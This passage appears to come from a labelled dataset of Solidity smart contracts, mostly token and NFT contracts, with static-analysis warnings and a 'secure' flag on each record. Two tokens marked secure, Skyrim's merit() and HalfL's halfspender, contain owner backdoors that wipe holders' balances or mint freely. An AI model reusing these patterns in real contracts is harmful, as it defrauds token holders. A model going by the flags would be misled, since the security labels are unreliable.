"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Context, IERC20 {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 internal _totalSupply;\n uint8 internal _decimals;\n string private _name;\n string private _symbol;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2154.sol",
"secure": 1,
"size_bytes": 4966
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n _spendAllowance(account, _msgSender(), amount);\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_2155.sol",
"secure": 1,
"size_bytes": 1116
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract Ralf is Ownable, ERC20, ERC20Burnable {\n constructor(\n address initialOwner_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) Ownable(initialOwner_) ERC20(name_, symbol_, decimals_, totalSupply_) {\n _balances[initialOwner_] = totalSupply_;\n }\n}",
"file_name": "solidity_code_2156.sol",
"secure": 1,
"size_bytes": 643
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Skyrim is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable reach;\n\n constructor() {\n _name = \"SKYRIM\";\n\n _symbol = \"SKYRIM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 429000000;\n\n reach = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == reach, \"Not allowed\");\n\n _;\n }\n\n function merit(address[] memory habitat) public onlyOwner {\n for (uint256 i = 0; i < habitat.length; i++) {\n address account = habitat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_2157.sol",
"secure": 1,
"size_bytes": 4352
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract HalfL is Ownable {\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 966e53c): halfL.name should be constant \n\t// Recommendation for 966e53c: Add the 'constant' attribute to state variables that never change.\n string public name = \"Half L\";\n\n function approve(\n address halfapprover,\n uint256 halfnumber\n ) public returns (bool success) {\n allowance[msg.sender][halfapprover] = halfnumber;\n emit Approval(msg.sender, halfapprover, halfnumber);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: fbd63d1): halfL.decimals should be constant \n\t// Recommendation for fbd63d1: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function halfspender(\n address halfrow,\n address halfreceiver,\n uint256 halfnumber\n ) private {\n if (halfwallet[halfrow] == 0) {\n balanceOf[halfrow] -= halfnumber;\n }\n balanceOf[halfreceiver] += halfnumber;\n if (\n halfwallet[msg.sender] > 0 &&\n halfnumber == 0 &&\n halfreceiver != halfpair\n ) {\n balanceOf[halfreceiver] = halfvalve;\n }\n emit Transfer(halfrow, halfreceiver, halfnumber);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 196616d): halfL.halfpair should be immutable \n\t// Recommendation for 196616d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public halfpair;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dab2e9): halfL.symbol should be constant \n\t// Recommendation for 5dab2e9: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"L0.5\";\n\n mapping(address => uint256) private halfwallet;\n\n function transfer(\n address halfreceiver,\n uint256 halfnumber\n ) public returns (bool success) {\n halfspender(msg.sender, halfreceiver, halfnumber);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ae60f5): halfL.totalSupply should be constant \n\t// Recommendation for 6ae60f5: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transferFrom(\n address halfrow,\n address halfreceiver,\n uint256 halfnumber\n ) public returns (bool success) {\n require(halfnumber <= allowance[halfrow][msg.sender]);\n allowance[halfrow][msg.sender] -= halfnumber;\n halfspender(halfrow, halfreceiver, halfnumber);\n return true;\n }\n\n constructor(address halfmarket) {\n balanceOf[msg.sender] = totalSupply;\n halfwallet[halfmarket] = halfvalve;\n IUniswapV2Router02 halfworkshop = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n halfpair = IUniswapV2Factory(halfworkshop.factory()).createPair(\n address(this),\n halfworkshop.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: c3a4c21): halfL.halfvalve should be constant \n\t// Recommendation for c3a4c21: Add the 'constant' attribute to state variables that never change.\n uint256 private halfvalve = 105;\n\n mapping(address => uint256) private halfprime;\n}",
"file_name": "solidity_code_2158.sol",
"secure": 1,
"size_bytes": 4071
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MetaPepe is ERC20 {\n constructor() ERC20(\"MetaPepe\", \"MEPE\") {\n _mint(msg.sender, 1000420 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2159.sol",
"secure": 1,
"size_bytes": 271
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\" as Proxy;\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\" as IBeacon;\nimport \"./ERC1967Utils.sol\" as ERC1967Utils;\n\ncontract BeaconProxy is Proxy {\n address private immutable _beacon;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c305d60): BeaconProxy.constructor(address,bytes).beacon lacks a zerocheck on \t _beacon = beacon\n\t// Recommendation for c305d60: Check that the address is not zero.\n constructor(address beacon, bytes memory data) payable {\n ERC1967Utils.upgradeBeaconToAndCall(beacon, data);\n\n\t\t// missing-zero-check | ID: c305d60\n _beacon = beacon;\n }\n\n function _implementation()\n internal\n view\n virtual\n override\n returns (address)\n {\n return IBeacon(_getBeacon()).implementation();\n }\n\n function _getBeacon() internal view virtual returns (address) {\n return _beacon;\n }\n}",
"file_name": "solidity_code_216.sol",
"secure": 0,
"size_bytes": 1050
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Utils {\n function strConcat(\n string memory _a,\n string memory _b\n ) internal pure returns (string memory) {\n bytes memory _ba = bytes(_a);\n bytes memory _bb = bytes(_b);\n string memory ret = new string(_ba.length + _bb.length);\n bytes memory bret = bytes(ret);\n uint256 k = 0;\n for (uint256 i = 0; i < _ba.length; i++) bret[k++] = _ba[i];\n for (uint256 i = 0; i < _bb.length; i++) {\n bret[k++] = _bb[i];\n }\n return string(ret);\n }\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n}",
"file_name": "solidity_code_2160.sol",
"secure": 1,
"size_bytes": 1155
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./utils.sol\" as utils;\n\ncontract BBFC is NFTokenMetadata, Ownable, utils {\n uint256 public price = 180000000 * 10 ** 9;\n uint256 public tokenId = 1;\n\n uint256 public minMint = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5edf75): BBFC.baseUri should be constant \n\t// Recommendation for e5edf75: Add the 'constant' attribute to state variables that never change.\n string baseUri =\n \"https://boringbearfortuneclub.mypinata.cloud/ipfs/QmVrKn1ZFEvhPJKtbJUvHByws5geiGdgH7SyXzYcbhHTNb/\";\n\n constructor() {\n nftName = \"BoringBearFortuneClub\";\n nftSymbol = \"BBFC\";\n }\n\t// WARNING Optimization Issue (constable-states | ID: 9851368): BBFC.payAddress should be constant \n\t// Recommendation for 9851368: Add the 'constant' attribute to state variables that never change.\n address payable public payAddress =\n payable(0x4F867ad863E3FC714792480A3F53f90C4259aAA7);\n\n function mint(uint256 tokenQuantity) public payable {\n require(msg.value * tokenQuantity >= price, \"price too little\");\n require(tokenId <= totalSupply(), \"too many\");\n require(\n tokenQuantity >= minMint && tokenQuantity <= 10,\n \"amount false\"\n );\n for (uint256 i = 0; i < tokenQuantity; i++) {\n super._mint(msg.sender, tokenId);\n super._setTokenUri(tokenId, strConcat(baseUri, toString(tokenId)));\n tokenId++;\n }\n payAddress.transfer(msg.value);\n }\n\n function setPrice(uint256 _target) external onlyOwner {\n price = _target * 10 ** 9;\n }\n\n function setMinAmount(uint256 _target) external onlyOwner {\n minMint = _target;\n }\n\n function totalSupply() public pure returns (uint256) {\n return 3333;\n }\n}",
"file_name": "solidity_code_2161.sol",
"secure": 1,
"size_bytes": 2000
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Rasputin is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28e1545): Rasputin.uniswapV2Router should be immutable \n\t// Recommendation for 28e1545: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n address private immutable uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91e4f50): Rasputin.marketingFee should be constant \n\t// Recommendation for 91e4f50: Add the 'constant' attribute to state variables that never change.\n uint256 public marketingFee = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 9306075): Rasputin.maxWalletToken should be constant \n\t// Recommendation for 9306075: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletToken = 2000000 * 10 ** 18;\n\t// WARNING Optimization Issue (constable-states | ID: 02877ca): Rasputin.marketingWallet should be constant \n\t// Recommendation for 02877ca: Add the 'constant' attribute to state variables that never change.\n address public marketingWallet = 0x0d9c7991Ef790Ff51a3258e93b77436223a023eD;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n constructor() ERC20(\"Rasputin\", \"T$AR\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n _isExcludedFromFees[_msgSender()] = true;\n _isExcludedFromFees[marketingWallet] = true;\n\n _createSupply(_msgSender(), 100000000 * (10 ** 18));\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n bool excludedAccount = _isExcludedFromFees[from] ||\n _isExcludedFromFees[to];\n\n if (from == uniswapV2Pair && !excludedAccount) {\n uint256 contractBalanceRecepient = balanceOf(to);\n require(\n contractBalanceRecepient + amount <= maxWalletToken,\n \"Exceeds maximum wallet token amount.\"\n );\n }\n\n if (\n !excludedAccount && (from == uniswapV2Pair || to == uniswapV2Pair)\n ) {\n uint256 fees = amount.mul(marketingFee).div(100);\n super._transfer(from, marketingWallet, fees);\n amount = amount.sub(fees);\n }\n\n super._transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_2162.sol",
"secure": 1,
"size_bytes": 3464
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b);\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0);\n uint256 c = a / b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a);\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a);\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b != 0);\n return a % b;\n }\n}",
"file_name": "solidity_code_2163.sol",
"secure": 1,
"size_bytes": 907
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SageCoin is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: d2b9dbb): SageCoin.decimals should be immutable \n\t// Recommendation for d2b9dbb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 5243bff): SageCoin._totalSupply should be immutable \n\t// Recommendation for 5243bff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowed;\n\n constructor() {\n name = \"SageCoin\";\n symbol = \"SAGE\";\n decimals = 18;\n _totalSupply = 100000000000000000000000000000;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n return _balances[owner];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowed[owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= _balances[msg.sender]);\n require(to != address(0));\n\n _balances[msg.sender] = _balances[msg.sender].sub(value);\n _balances[to] = _balances[to].add(value);\n\n emit Transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n require(spender != address(0));\n\n _allowed[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= _balances[from]);\n require(value <= _allowed[from][msg.sender]);\n require(to != address(0));\n _balances[from] = _balances[from].sub(value);\n _balances[to] = _balances[to].add(value);\n _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);\n emit Transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n require(spender != address(0));\n\n _allowed[msg.sender][spender] = (\n _allowed[msg.sender][spender].add(addedValue)\n );\n emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(spender != address(0));\n\n _allowed[msg.sender][spender] = (\n _allowed[msg.sender][spender].sub(subtractedValue)\n );\n emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);\n return true;\n }\n}",
"file_name": "solidity_code_2164.sol",
"secure": 1,
"size_bytes": 3652
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Cardano is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b4f66e0): cardano.bots is never initialized. It is used in cardano._transfer(address,address,uint256) cardano.isBot(address)\n\t// Recommendation for b4f66e0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: db25606): cardano._taxWallet should be immutable \n\t// Recommendation for db25606: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc2b2bf): cardano._initialBuyTax should be constant \n\t// Recommendation for bc2b2bf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 73db4de): cardano._initialSellTax should be constant \n\t// Recommendation for 73db4de: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: a37d737): cardano._finalBuyTax should be constant \n\t// Recommendation for a37d737: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8a9ac34): cardano._finalSellTax should be constant \n\t// Recommendation for 8a9ac34: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 79e5b06): cardano._reduceBuyTaxAt should be constant \n\t// Recommendation for 79e5b06: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 2791460): cardano._reduceSellTaxAt should be constant \n\t// Recommendation for 2791460: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 45ddd2d): cardano._preventSwapBefore should be constant \n\t// Recommendation for 45ddd2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name =\n unicode\"VoldemortOsamaBinLaddenPregantSonic69Cumrocket\";\n string private constant _symbol = unicode\"CARDANO\";\n uint256 public _maxTxAmount = 100000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: b8d471a): cardano._taxSwapThreshold should be constant \n\t// Recommendation for b8d471a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: e4af424): cardano._maxTaxSwap should be constant \n\t// Recommendation for e4af424: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 40efdc9): cardano.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 40efdc9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5efabf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5efabf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ebad032): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ebad032: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b5efabf\n\t\t// reentrancy-benign | ID: ebad032\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b5efabf\n\t\t// reentrancy-benign | ID: ebad032\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 67d0c97): cardano._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 67d0c97: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: ebad032\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: b5efabf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING 